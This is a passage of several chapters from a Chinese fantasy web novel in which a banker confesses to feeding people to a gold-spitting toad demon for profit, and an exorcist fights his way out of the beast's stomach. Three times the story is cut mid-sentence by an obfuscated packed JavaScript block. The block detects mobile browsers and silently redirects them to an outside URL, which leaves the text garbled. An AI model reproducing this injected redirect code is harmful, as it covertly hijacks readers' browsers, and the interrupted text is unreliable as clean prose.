此人自然是韩思年。他和众衙役一起赶到。虽然耳闻金蟾体型硕大,可亲眼得见,才知道竟有如此硕大。两个壮汉叠起来,还够不到它的下巴。 它转过身面对众人,张开巨口。阴影盖住了整条巷子,谁也不敢冲上去进攻,还有几个人手抖得太厉害,把钢刀掉在了地上。 韩思年却凭着一腔孤勇,握紧斩妖剑,直冲过去,“我要替沈大人了结你!” 沈灵均心中惊恐比衙役们更甚。韩思年一介书生,在家钻研了几天捉妖法门,就敢只身挑战妖兽?这和送死有何区别? 外面是几十个毫无法力的人,里面是失去意识的季月。沈灵均别无选择,将功力凝聚在指尖,一道青光飞出,点中金蟾咽喉。 金蟾刚伸出舌头,突然大叫一声,后腿一蹬,从韩思年和衙役们头上跃过。斩妖剑的剑尖朝上,堪堪擦过它白色的肚皮。它摔在地上,团成一个球,一路翻滚而去,在地面上碾出一条深达半尺的沟壑。 衙役们谁都没去追赶。韩思年拖着剑跑过两条街,精疲力竭,停下来大口喘气。 汗湿的后背被风一吹,打了个哆嗦,方才上头的热血落回胸腔,终于后怕起来。 那妖口如此阔大,吞下两个他都绰绰有余。 凡人在妖面前,竟是如此渺小。 金蟾滚了许久,撞烂五座牌楼,两个桥墩,方才停下,喉间剧痛不止。它妖力强大,甚有灵性,明白肚腹之中有人捣乱,便伸爪击打。 胃壁坚韧,却弹性十足,一爪下去,打得金钟罩高高弹起,边缘竟出现一道裂痕。沈灵均吃了一惊,连忙运功修补。金蟾不住击打,胃囊从四面八方凸起,冷不防挨上一下,就是天旋地转。 沈灵均用尽全力,撑住法器。一手牢牢抓住季月,以免和她撞在一起。 金蟾打了一阵,突然停下。它蹲在地上咕咕叫了两声,身子缩小,从两层楼高渐渐变为一层楼高。胃囊里的空间顿时变小,眼看四周的胃壁挤压过来,就要把他们活活碾死。 沈灵均大怒,接连催动指力,无形气劲在逼近的胃壁上刺出一个个孔洞。殷红的鲜血汩汩流了出来。 金蟾哪受得了这般折磨,又一次滚倒在地。咽喉中指,痛得连舌头都吐了出来。 这一番较量,它固然明白腹中之物不是好惹的,沈灵均也出尽全力,精疲力竭。 一人一妖都停下来喘息。 沈灵均感到季月的身体越来越凉,低头一看,吓了一跳,她红裙下方,本该是双脚的地方,竟然露出一截深褐色的根系,眼看连人形都维持不住了。 他心底一片冰凉,突然醒悟,妖力受损如此严重,恐怕不光是因为他在她身边运功施法。金钟罩这件法器本身,对她亦有妨害。在里面拖延越久,情势越发危险。 四周沸腾的酸液中混入金蟾的鲜血,颜色比先前更加可怖。 沈灵均心中恼恨。难道他们真要困死在这畜生体内么。 琳琅阁中,慧觉感到身侧的泥土松动了。 原本像一块焊死的铁板,现在他转动几下脖子,竟能挣出一圈空隙。他当然不知道季月在土中施的法,本就只有两天的效力,还以为时来运转,佛祖显灵了。 他压低了声音喊慧能,“师弟!你动一动!” 慧能喝过几碗水,神志已经恢复清醒,颓然道,“师兄,别白费力气了。还是随我一道默诵经文,祈愿天降大雷,劈死这小兔崽子。” “诵什么经!你转转脖子试试!” 慧能依言扭动圆脑袋,视野竟然变了,师兄的长脸出现在眼前。 “师兄!我能动了!” “蠢货!小点声!你想把那小子引来吗?” 慧能惊出一声冷汗,生怕已铸成大错。两人屏息听了会儿四周的动静,只有风吹树叶,粉蝶嗡鸣。 “他去哪儿了?” 慧心前一日还来过几次,给他们喂水,今日眼看太阳当空,还没见到他的人影。 “最好是饿死在房间里了,省得爷爷亲自动手。” “莫说他饿死了,我也快饿死了。” “废话。想活命就赶紧挣。” 两人被埋在土里,风吹日晒,又未进食,本来已经奄奄一息,可一来身体底子甚好,二来有了脱困的希望,不知从哪儿迸发出一股蛮劲,拼命挣扎扭动。身畔的空隙越来越大,泥土横飞,半边脸上都是泥点子。 慧觉的肩膀一点点露了出来。他把全身的力气集中到一侧,连五官都拧歪了,终于噗的一声,右臂像萝卜一样拔了出来。 他大喜过望,五指成爪,刨开泥土,解救出左臂,然后双手一撑,完全解脱。 慧能才挣出半个肩膀,慧觉刨土时不管不顾,险些又把他埋回去。这时他见师兄脱困,大呼,“快救我!” 慧觉瘫坐在地,等眼前金星散去大半,才伸手解救这个没用的师弟。 慧能体胖,身子沉重,挖他出来十分费劲。一条手臂刚刚脱困,他突然双眼圆睁,指着前方惊叫,“你……你……” 慧觉暗道不好,转过身,果然看见慧心拿了只碗,呆呆地站在篱笆旁。 他早上醒来后,实在无力下床,翻了个身又睡过去。中午饿醒过来,抱紧保命的大白菜,强撑着去舀水。水缸里的水不剩多少了,他舀出最后半碗,准备喂给两位师兄。 转进院子一看,大惊失色,一颗“土豆”从地里蹦了出来,另一颗出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084268|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半。慧心手一歪,碗里的水全泼在了地上。 “你们怎么……” 慧觉目露凶光扑过来,“臭小子,害得我好苦!” 扑到一半,脚腕忽然被慧能抓住,摔了个狗啃泥。 他气得大骂,“你抓我干什么?!” “你先把我救出来!” “我宰了这小子自会来救你!” “你救了我,我和你一起宰!” 慧觉狠狠踢了两脚,慧能嗷嗷呼痛,就是不肯松手。慧觉恨死了这个呆师弟,十分懊悔刚才把他的手拔出来。慧能深知师兄的为人,知道他一旦追着慧心跑了,未必还记得回来救他。只消再埋在土里暴晒几个时辰,自己这条小命恐怕就报销在此处了。 两人僵持不下,慧心终于反应过来,发一声喊,撒腿就跑。 慧觉眼看这小子晃晃悠悠跑出后门,自己的脚还被牢牢抓着,又气又急,只得回转身子,替师弟刨土。慧能得逞,呵呵傻笑,慧觉怒从心起,拔起篱笆上的竹片,胡乱往土里戳,也不避开皮肉,把慧能疼得哇哇乱叫。 又过了一盏茶功夫,慧能也出了土。一高一胖两个和尚满身泥泞,脚步虚浮地出了后门。往街上一看,都愣住了,家家户户门窗紧闭,不但没有小和尚的影子,连个人影都没有。 走了几条街,皆是如此。两人满心疑窦,光天化日,人都到哪里去了? 慧能道,“这小子会不会跑回寺里?” 其实是他自己饿得半死,只想回寺歇息。 慧觉骂道,“蠢货,他又不是你。他怕我们抓他回寺,必然往反方向跑。” “我们能不能先去吃点东西?” “你看哪家铺子开着门?” “奇怪啊,光天化日,这是怎么回事……” “你问我,我问谁去?!” “好端端的,你发这么大火干什么?” “刚才若不是你,我已经逮住那小子了。” “那你现在去追,我绝不阻拦。” 两人一路争吵不休,沿着河越走越远。 等他们的背影远得看不见了,慧心才从一颗柳树后面探出头来。 他饿得前胸贴后背,浑身虚汗,扶着树干才能站立。 漂亮姐姐迟迟不回,两位师兄从土里出来追杀他,更可怕的是,一夜之间南安县竟成空城。 他拖着步子走过一整排商铺,也不敢敲门问询,走到望月桥边,猛然看见一张告示。 从前慧灵师兄在世时,常教他读经书,是以告示上的字,慧心识得大半,他瞪着眼睛看了半天,倒抽一口凉气。 积善寺发现形若金蟾,体形巨大的妖兽,全寺僧人遇难,捉妖师沈大人亦不幸殒命,县衙正全力搜捕妖兽,百姓切不可出门。 全寺僧人遇难……也就是说,连方丈都没了?整个积善寺,只剩下他和两位师兄还活着? 妖兽……难道他在井中听到的,并不是冤魂叫屈,而是妖兽的吼叫? 慧心吓得瑟瑟发抖。告示上盖有南安县县衙大印。他盯着那鲜红的印章看了半天,强行把眼泪咽了回去。 背后传来一声叫喊,“在这里!” 他回头一看,顿时魂飞天外。慧觉师兄和慧能师兄站在路尽头,一个高,一个胖,如同阴魂不散的地狱恶鬼,来索他的命了。 62. 仁义抵万金(十) 韩思年和衙役们走后,县衙就气氛压抑。徐知县背着手,在三足金乌的画像底下踱来踱去,似乎在苦思对策,其实脑中一片空白,什么法子都想不出来。 师爷坐在左首,心中默默祷祝,向所有想得起来的神明祈求,保佑南安县此番能度过难关。 那儿子被妖所吃的妇人,眼泪都哭干了,呆坐在角落。沈伯不住地低声安慰。 黄仁面无表情,暗中打着算盘,时不时往装满金锭的箱子看上一眼。 王妙仪待得越久,心中越是不安。她听了韩思年的话,一时冲动,才跟了过来。想要为表哥报仇,自己却无能之极,只能待在这里发呆。韩思年临走前叮嘱她留意黄仁,可她盯了半天,也没见他有何异动。 徐知县突然清了清嗓子,“本官口渴得很。怎么连个倒茶的都没有?” 师爷心想,谁让你把所有人都派了出去。 “大人稍等,我这就去。” 走到里间,发现连热水都没烧。好在已是仲春时节,喝凉水也可。师爷找出几包大麦,倒在壶中,用井水泡了一会儿,才端出来。 徐知县喝了一口,竟没发火,反而夸道,“这是什么饮子,倒也解渴,给他们一人倒一杯。” 众人纷纷说道,不敢劳动师爷,自行上来领水。 大家同时走动,堂下便有些混乱,王妙仪眼尖,看到黄掌柜经过那金锭箱子时,俯身弯腰,把几枚金锭揣在怀里。 她大为诧异。黄仁是钱庄庄主,财富几辈子都吃用不尽,为何贪图这几枚金锭? 她心思单纯,便上前问道,“黄掌柜,这金锭有何不妥之处?” 黄仁吓了一跳,没想到自己拿金子还被这女子瞧见了。 这箱金子比起他庞大的财富,如同九牛一毛,可他积年养成的习惯,见到金子若不揣在怀里,浑身便不自在。被王妙仪当场叫破,只好不情不愿地掏了出来。 “适才我听知县大人说,这些金锭的形制和我钱庄中的颇为相似,便想细细查看一番。” 徐知县听在耳中,突然觉得妖吐出的金子和钱庄的金子相似,乃是大大的不妥。但究竟不妥在何处,一时却想不透。 王妙仪见黄仁看向自己的眼神似乎颇有敌意,顿感窘迫,一低头,发现金锭箱子旁多了一本手掌大的册子。 黄仁方才一掏一摸,这册子想必是从他袖中掉出来的。 王妙仪俯身捡起,正想交还给他,却见他端着杯子坐回原处,目不斜视,面上有如罩了一层严霜。 她不敢过去,心咚咚直跳,把册子藏在袖中,走回原位。 她把幂篱掀起一角,杯子递到嘴边,饮尽杯中水。凉水激得肠胃都收缩起来。 环顾四周,没有人在注意她。借着幂篱的遮掩,王妙仪取出册子,一页一页翻看。 大庆二年三月初三,舍得当铺,王安。得利。 大庆二年三月初七,乞丐。得利。 大庆二年五月十八,丫鬟,小蕊。赔本。 大庆二年七月二十,舍得钱庄,账房,钱忠。得利。 册子甚厚,纸张泛黄脱落,显然有些年头。她看得一头雾水,哗啦啦翻到最后几页。 大庆十二年正月初三,积善寺,慧灵。 大庆十二年二月初九,积善寺,慧净。 大庆十二年三月初四,积善寺,慧闲。 大庆十二年四月十六,积善寺,大厨。 王妙仪汗毛都竖了起来,又往回翻了几页,每页都有积善寺三字。 黄仁一个钱庄掌柜,和积善寺到底有何渊源? 她下意识地往他那边看,黄仁的眼光,恰好瞟了过来。她手一抖,册子掉在腿上,慌忙用手罩住。 如果发现这本册子的是表哥就好了,他一定能明白这些名字代表什么,即使不明白,也敢当面质问黄仁。 而自己胆小怕事,会把一切都搞砸的。 隔着幂篱环顾四周,沈伯、妇人、师爷、知县,没一个能托付的。看来只有等韩思年回来了。 她攥了一手心的汗。若是韩思年回不来,那就…… 头顶忽然一暗,黄仁不知何时竟走到眼前。 王妙仪惊叫一声,只见黄仁板着脸如同僵尸,伸出一只手来,“王姑娘,你是不是捡到什么东西了?” 她吓得结结巴巴,“我……没……” 黄仁凶相毕露,厉声喝道,“拿出来!” 众人侧目。沈伯见小姐被人逼迫,忙赶过来把她护在身后。徐知县也问,“怎么回事?” 黄仁还没回答,外面传来嘈杂之声。韩思年提着许小宝的后背,风风火火地冲进来,往地上一掼。 “你自己跟知县大人说吧!” 许小宝大喊,“冤枉啊大人,小的什么都没做!” 韩思年气笑了,“还没给你定罪,就大喊冤枉。未免喊得早了些。” 徐知县一拍惊堂木,“大胆!公堂之上,岂容你大呼小叫!” 韩思年拱手道,“启禀大人,我们赶到豆市巷围捕金蟾。那妖兽体形巨大,气力惊人,我们敌不过,让它逃脱。” 他指着许小宝,“我们本应继续追击,可许小宝却带领数人,脱离队伍,偷偷摸摸潜入舍得钱庄的废墟,装运金锭。被我发现以后,还鼓动我一起搬,说拿去黄府可以领赏钱。当此危急之时,外有妖孽作乱,百姓命悬一线,你身为公门中人,却一心为商贾谋私利,实在是利欲熏心!徐大人,似这般玩忽职守之人,再留在县衙,只会连累您的名声!” 许小宝哭道,“徐大人明鉴,黄掌柜给了我一枚金锭,可抵得上十年的俸禄啊!小人一时贪心……” 徐知县虎着脸,“黄掌柜,这是怎么回事?” 黄掌柜脸上青一阵,白一阵,默然不语。 韩思年再添一把火,“黄掌柜,在下从前听说,有钱能使鬼推磨,还有些不信,今日可算领教了。原来徐知县手下的人,也要听您的调配。衙役的价码是一枚金锭,不知道知县的价码是几枚啊?” “放肆!姓韩的,本官宽宏大量,不是让你在此口没遮拦,胡言乱语的!” “在下失言。” “还有你,黄仁,本官眼里不容沙子!你在本官眼皮子底下动手脚,等事情过去了,定要重重治罪!” 黄仁嘴唇颤抖,突然大叫,“事情不会过去的!知县大人,别抵抗了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084269|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,逃得一个是一个!” “你说什么?!” “这姓韩的大言不惭,说什么,敌不过,让它逃了?哈哈哈哈,真是滑天下之大稽。明明是你们这些人福大命大,从它口中逃了。若再撞见,你们谁有把握杀得了它?是你姓韩的,还是知县大人亲自上阵啊?” 他喊得声嘶力竭,眼睛里都是血丝,状如疯癫,“赶紧带上金子跑。南安县有的是人给它吃。咱们逃得远远的,谁也别回来!” 徐知县摇头,“你疯了。” 黄仁冲到他面前,唾沫星子喷了他一脸,“是我疯了,还是大人疯了?!” 所有人都惊呆了。师爷欲把他拖走,被狠狠甩开。衙役们不知所措,未得命令,不敢走上来拿人。 韩思年拔出斩妖剑,架在黄仁左肩。 “黄掌柜,你胆敢威胁知县大人?!” 黄仁只觉半边肩膀沉重无比,脖子上丝丝寒意,不得不冷静下来,哑着嗓子道,“是在下失态了。可在下所言皆出自肺腑,还望大人慎重考虑。” 他缓缓退步,斩妖剑始终架在他肩膀上。 “韩公子,此剑名为斩妖,用它杀了我,可不算能耐。” 韩思年哼了一声。 徐知县颓然道,“都退下吧,吵得本官头疼。唉,要是沈灵均还在……” 此话一出,人人触动心肠。王妙仪眼中一酸,又流下两行泪来。 衙役们四散开来,拖着钢刀,眼神呆滞,像一群游魂。 许小宝趁人不注意,悄悄爬起来,往人堆里躲。 似乎还嫌不够乱的,公堂之外,传来哒哒的脚步声。 这脚步声极轻,极慢,倒像一个游魂在街上漫无目的地溜达。 随即,又有别的游魂跟了上来,步伐重了些,却同样缓慢。 衙役惊呼,“是金蟾!金蟾来了!” “不可能!金蟾哪有那么轻!” “它想偷偷摸摸进来!” “金蟾有四足,脚步声不是这样的。” 妇人突然尖叫,“是我的旺儿!我的旺儿变成鬼魂回来了!旺儿,娘在这里!快进来!” 她不管不顾地往外冲,被衙役们拦下。 只见一个骨瘦嶙峋的小和尚跨过门槛,晃了晃,摔倒在地,怀中抱着的一颗大白菜滚了出去。 他抬起头,目光扫过堂上明镜高悬的匾额,用双手支撑着往前爬去,口中喃喃道,“知县老爷救命,师兄们要杀了我。” 门口又进来一个高和尚,一个胖和尚,皆是体格健壮,面有菜色,眼睛发直,双腿打颤,走得奇慢无比。胖和尚不住喘气,高和尚张着嘴,气若游丝地呼喝,“小兔崽子,给我站住!” 三个和尚一个爬,两个走,如同三只乌龟赛跑,半天才前进一截。 在场没有人认识他们。 徐知县的耐心到了极限,额头上青筋跳得欢快。 “这里是公堂!不是跳梁小丑撒野的地方!就算金蟾把全县吃尽了,本官也不容你们如此造次!给我轰出去!” 韩思年叫道,“且慢!徐大人,本县只有一座寺庙。敢问这三位师父,可是从积善寺中逃出来的?” 63. 仁义抵万金(十一) 此话一出,堂上众人不约而同地啊了一声,齐齐看向三人。唯独黄仁眼中闪过凶光。 慧心伏在地上,嘴巴一张一合,“正是……积善寺……” 慧觉向前一扑,终于抓到了慧心的一片衣角,喜出望外,两天两夜的折磨终于没有白费,心里一松,晕了过去。 慧能茫然环顾一圈,紧随师哥的脚步,倒了下去。 徐知县连忙下令把三人救醒。 那妇人痛失爱子,见慧心与自己儿子年纪相仿,却面容凹陷,形销骨立,一看就知道从小吃尽了苦头,触动心肠,把他抱起来揽在怀里,往干裂的嘴唇里喂水。 灌进去两杯水,慧心喉间动了动,大眼睛缓缓睁开。众人围拢过来,连哄带问,费了半天劲,小和尚终于断断续续地讲出事情经过。 大家已猜到金蟾吃的是人,吐的是金。因此听说广义方丈杀人填井,并不十分意外。直到慧心说出积善寺每月都有人失踪,且持续多年,才感到脊背发凉。 若他所言非虚,积善寺中丧命的僧人将近百人,这行善积德的佛寺,实则是个吃人不吐骨头的地方。 黄仁反复回想,断定这三个和尚谁都不认识自己,正好把所有的罪责都栽到广义头上。 他佯怒道,“广义大师与我相交多年,怎会做下豢养妖兽,杀人牟利这等伤天害理之事?你这小和尚,休要胡言乱语。” 慧心急得呛了一口水,连连咳嗽,“小僧以性命发誓,所言字字是真!” 徐知县沉吟道,“全寺僧人都被妖吃了,广义是否始作俑者,死无对证。” 慧心先前见过告示,这会儿听徐知县亲口说出来,心里好一阵难受,虽然他从小在积善寺吃不饱,穿不暖,受尽虐待,可那是他唯一的容身之处。如今寺中人全没了,往后天大地大,又能往何处去呢。 一转身,见一个陌生妇人含泪抱着自己,眼中是平生未见的温柔之色。他眼眶一酸,赶紧站起来,双手合十,“多谢女施主照拂,小僧身上脏,别弄污了您的衣服。” 妇人见他稚气未脱,却一脸惶恐,如同受惊的小兽,更觉可怜。 “孩子,我不嫌弃你。快过来。” 黄仁讥讽道,“是啊,有什么可嫌弃的。一会儿到了金蟾腹中,男女老少全搅在一起,成为一滩肉泥,你中有我,我中有你。” 徐知县皱眉,“你胡乱说些什么!” “知县大人,广义有罪也好,无罪也罢,金蟾转眼就到,再不逃真的来不及了!” 众人都被他喊得心慌,唯独韩思年目光炯炯,盯紧了他,“金蟾吃了那么多僧人,所吐金锭何止成千上万?从前吐的金子,可是都进了舍得钱庄的金库?“ 黄仁早有准备,从容答道,“若广义方丈存放在钱庄的金锭有疑,在下必定全力配合县衙彻查到底。” “哼,你倒是推得一干二净!” “韩公子,这个节骨眼,莫再胡乱攀咬了,还是想想如何逃命吧。” 徐知县看着众衙役。虽未受伤,但眼神涣散,斗志全无。平心而论,要这些没有法力的人对付妖兽,实在是强人所难。若他们有用,神巫署也不用指派捉妖师了。 想到这里,突然灵光一闪。沈灵均没了,还有神巫署啊!暂离南安县,求助神巫署,等他们派人剿灭了妖兽,不就万事大吉了。 这么好的办法,怎么早没有想到呢!实在是平时偷懒惯了,凡是和妖沾边的事,都让沈灵均一手遮天,紧要关头差点误了大事。 徐知县的眉头终于舒展开,朗声道,“本官有主意了。通知全县人去西河县避祸,我去向神巫署求救。” 黄仁在县衙从早待到晚,等的就是这句话,当即眉开眼笑,“知县大人英明!在下这就回去通知街坊邻居!” 一道细细的嗓音响起,“不能放他走。” 王妙仪站了起来,幂篱微微颤动,由于紧张,声音格外尖利,“黄掌柜才是失踪案的罪魁祸首。这本册子上,记载了积善寺所有失踪的僧人名录,正是从他袖中掉出来的!” 她举起一本手掌大的小册子,“请知县大人过目。” 这册子她攥在手里许久,攥得都变了形。她从小长于深闺,很少见外人,更别提在公堂之上指证恶人。光是想想黄仁害过这么多条人命,就觉得毛骨悚然,哪敢与他的目光相接。 今日来到县衙,乃是一时冲动,热血上头,待韩思年出去围捕妖兽,那热血已渐渐冷却。后来耳听慧心诉说僧人失踪,与册子上的记录一一比对,严丝合缝。旁观黄仁煽风点火,祸水东引,心下更是雪亮。直到他说动了知县大人,才终于鼓起勇气,站了出来。 黄仁一见册子,心知不好,目露凶光,几欲扑过来动手。 韩思年把剑一横,挡在中间。 说来也奇怪,王妙仪方才攥着册子,思前想后,怕得要死,这时把话说了出来,心头一松,反而不怕了。看恶人凶相毕露,甚至还有一丝快意。 徐知县一页一页地翻着册子,两根眉毛越抬越高。 “黄仁,你作何解释?” 黄仁犹自狡辩,“这是何物,在下从未见过。” “王姑娘亲眼所见,还敢抵赖!” “许是王姑娘自己杜撰,嫁祸于我。” 这话实在荒唐,见过王妙仪的人都不会相信。若这样一个姑娘是坏人,世上便没有好人了。 王妙仪尖声道,“我今日才识得黄掌柜,如何能未卜先知,杜撰这厚厚一本名单?那舍得当铺在何处?王安又是何人?丫鬟小蕊,是你杀害的第几个人?” 黄仁时隔多年,又听到王安的名字,一重重前尘往事袭向心头。自金蟾逃脱后他就殚精竭虑,惶惶不安,至此终于心神崩溃,缓缓坐倒在地。 “王安……王安这个恶毒老贼是罪有应得!” 师爷忽道,“我想起来了,十多年前,本县曾有一个舍得当铺的,原来是舍得钱庄的前身?” 黄仁干巴巴道,“不错。我儿时家贫,到舍得当铺做学徒,受尽了王安的苛待。当铺生意繁忙,却只有一个老账房和两个学徒。我们每天天不亮就要起床,倒水洒扫,准备开门,白天接待客人,关门后盘完账已是深夜,还要给老板捏肩捶腿,给老板娘泡安神茶。每月只领二十文,还常常借故克扣。 “一日,我擦柜台的时候,发现抽屉里蹦出一只小□□,巴掌大小,通体金黄,咬着我的扣子不肯放。我听人说过金蟾招财,又见它小巧可爱,有心带回去养,便把它藏在袖中。不料当天就出事了。关门后,盘点柜上的现钱,和账本怎么都对不上,数来数去,就是少了几十文。 “本来这也不是什么了不得的大事,最多让当班伙计补上亏空,可王安那天碰巧头疾发作,脾气暴躁,命我和钱忠脱光了衣服搜身,仍找不到钱,竟抄起称量用的权衡,劈头盖脸打来。 “钱忠胆子大,飞步逃了,我跑得慢,被门槛绊了一下,权衡打在后脑,疼得眼冒金星,忽听咕地一声,那金蟾从衣服堆里跳出来,一口把权衡上的铜砝码吞了。 “它的身子忽然变大了一圈,趴在地上咕咕叫着,王安举起权衡,狠狠打在它背上。金蟾惨叫一声,阔口张开,丁零当啷吐了一地。除了那个铜砝码,还有柜上短的那几十文钱。 “我松了一口气,以为这下王安不会再追究了,谁知这老贼不依不饶,说我豢养□□偷钱,居心不良,要将我赶走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084270|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我本也不想再待下去,正要抱着金蟾离开,可王安为了泄愤,一脚将金蟾踩住,还用力碾了碾。 “我见他脚下流出一滩黏液,想这金蟾定是被压扁了。它虽是畜生,却帮了我的忙。我见它横死,又气又急,狠狠推了王安一把。就在此时,金蟾从地上一跃而起,暴长到半间屋子那么大,一口咬住王安的头。” 在场众人无不惊骇,就连黄仁讲到这里,也露出心有余悸的表情。 “我吓傻了,眼睁睁看着它把王安从头到脚吞吃干净,吃完以后,还打了个嗝。它转身面对我,我心想这回死定了,不料那畜生歪头蹭了蹭我的下巴,神态亲昵,竟把我当成了主人。 “我赶快去把门窗关紧,打来一桶水冲洗地上的污渍。金蟾趴了一会儿,阔口一张,这回吐出来的却是黄澄澄的金锭。我当时惊得呆了,赶快把金锭包起来,藏在柜台后一块地板下面,带着金蟾回了家。 “当铺老板失踪,家人来寻,还去报官,闹得沸沸扬扬,我一口咬定自己什么都不知道,钱忠也没多嘴,日子一长,事情不了了之,当铺也转到了老账房手里。 “我起初懵懂无知,给金蟾喂鸡鸭鱼肉,牛羊虾蟹,它都不肯吐钱,喂五谷杂粮、萝卜蔬菜,它原样吐了出来。那时豆市巷口有个浑身流脓的老乞丐,日日徘徊不去,三伏天里,恶臭引得苍蝇乱飞,好生讨厌。一天晚上我把金蟾带过去,纵它吃了乞丐。” 韩思年怒斥,“卑鄙!” 黄仁冷哼,“你说我卑鄙?那王安责打伙计,克扣工钱,就不卑鄙了?我不过是青出于蓝而胜于蓝。金蟾吞了老乞丐,果然吐出许多金子,我用这笔本钱盘下了舍得当铺,改做钱庄生意。王安人虽不堪,这舍得二字倒起得甚妙。有舍才有得,肯舍去肉身,才能得到财富。” 徐知县骇然道,“难怪你的钱庄日进斗金,原来做的是无本买卖。” 韩思年道,“你残害人命,瞒得了一时,却瞒不了一世!今日多亏有王姑娘在此,揭穿你的真面目!” 王妙仪听他夸赞自己,脸上一热。 黄仁阴森森道,“人太多嘴可不是好事。我当了东家后,聘钱忠做账房,是好心抬举他,可他不知察觉了什么端倪,不怀好意地问东问西,还胆敢跑来威胁我,活该进了金蟾的肚子。” “一个大活人失踪,官府不来查问吗?” “嘿嘿,我亲自去报的官,说账房卷了几百两银子逃跑。当时的知县满口答应帮我追查。案子至今还没销呢。” 众人皆听得毛骨悚然。黄仁表面斯文,实则比江洋大盗更心狠手辣。 “过了一阵子,钱庄缺头寸了,我知道不能再杀伙计,就买了个叫小蕊的丫鬟喂金蟾。” 听他的口气,好像小蕊是一碗汤,一张饼,根本不是个活生生的人。 “臭婆娘,花了我二十两银子买来,金蟾吃了她,却只吐出一点碎金粉,真是桩亏本买卖!” 徐知县忍不住啐了一口,“狼心狗肺。” 韩思年道,“金蟾吃男人吐得多,吃女人吐得少,你便把主意打到了积善寺的僧人头上?” 黄仁冷笑,“你真当广义是菩萨心肠,愿意收留那么多孤儿?!他每月从我这里拿钱养活那些和尚,养到壮年便喂给金蟾。这畜生吃的人多了,越长越大,养在外面容易招人耳目。我便与广义合力捆了它,栓在井底。十年了,没想到它会挣脱锁链逃出来。” 徐知县再也不想看见他那张脸,摆摆手吩咐,“来人,拿下。” 两名衙役扑上来,一左一右,将黄仁按在地上。 黄仁并不反抗,梗着脖子,狞笑道,“知县大人要抓我下狱么?只可惜太晚了。你们听,它来了。” 64. 仁义抵万金(十二) 震耳欲聋的声音响彻云霄,好像整条街突然炸开了。县衙大门轰然倒塌,金蟾如泰山压顶,跳进公堂,朝众人扑来。 衙役们吓得屁滚尿流,金蟾摇头晃脑,转眼就吞了两人,长舌头擦着许小宝的头顶,卷下他一块头皮。 徐知县躲到桌子底下。沈伯拉着王妙仪退到墙边,将她死死护在身后。金蟾头一甩,撞塌了整堵墙,明镜高悬的匾额碎成两段,三足金乌的画像掉在地上,落满了灰尘。 那画像是纯金所制,金蟾过去嗅了嗅,满意地仰头咕咕大叫。 韩思年奋力提起斩妖剑,砍在它脚趾之上。 金蟾吃痛,转过身,张开血盆大口咬下来,韩思年提起剑,想去削它的长舌头,哪知手臂一阵酸麻,剑身歪向一边。 危急之时,小和尚慧心从角落里冲了出来,将那颗抱了一路不舍得吃,用以保命的大白菜,投入金蟾深渊般的巨口之中。 白菜沿着宽阔的食道,一路掉进胃中。那腐蚀人骨肉的胃液竟奈何不了这颗小小蔬菜。沈灵均眼看着它在酸液中载沉载浮,分毫未损,随即,脚底翻起滔天大浪,大股酸液卷着金钟罩和白菜,反冲上食道。 金蟾吐了。 它这一吐非同小可,恶臭的胃液在公堂上流成一条小河,大家哭爹喊娘,跳着脚躲避。有人不慎踩到,脚底板立刻烫起水泡。酸腐之气熏得人人涕泗横流。 沈灵均一落到地上,便收起金钟罩,将季月扶到椅子上坐好。几息之间,她苍白的脸色转为红润,睫毛轻颤,醒了过来。 “认得我是谁么?” 她眼中神色变幻,由迷茫转为惊恐,又转为疑惑,舌头不听使唤,结结巴巴地问道,“沈大人……发生了何事?” 沈灵均呼出一口长气,揶揄,“自己慢慢想吧。” 他转身面对伏在地上的金蟾,“妖孽,休要猖狂!” 王妙仪透过朦胧泪眼,终于看清那是自己表哥。见他死而复生,胸腔里像炸开一般,当着这么多人的面,哇地一声,嚎啕大哭。 沈灵均勉力站起身,冲着她微微一笑,“哭什么,我没事。” 金蟾肚皮起伏几下,后腿一蹬,直扑过来。 韩思年用力将斩妖剑抛出,大喊,“沈大人,接剑!” 沈灵均在空中一个转折,抄起剑柄,和金蟾斗在一起。 他和季月在金蟾肚子里憋了一天一夜,眼睁睁看着它残害无辜,心中愤恨已极,一上来便下杀手。二十九式屠龙剑法使开,一股股强劲剑气对着金蟾砍削。 金蟾虽然皮糙肉厚,也经不住这一轮疾风骤雨般的进攻,身上划开许多口子,毒液混着鲜血流的到处都是,不敢恋战,转身跃出大门。 沈灵均正愁公堂太小,施展不开,提剑奔出,正要跃上房顶追赶,冷不防丹田中一阵剧痛,从半空中跌了下来。 他额头上沁出冷汗,以剑撑地,连用几次力,竟然站不起来。韩思年、王妙仪、沈伯和一众衙役追出来,围在他身边,惊慌失措。 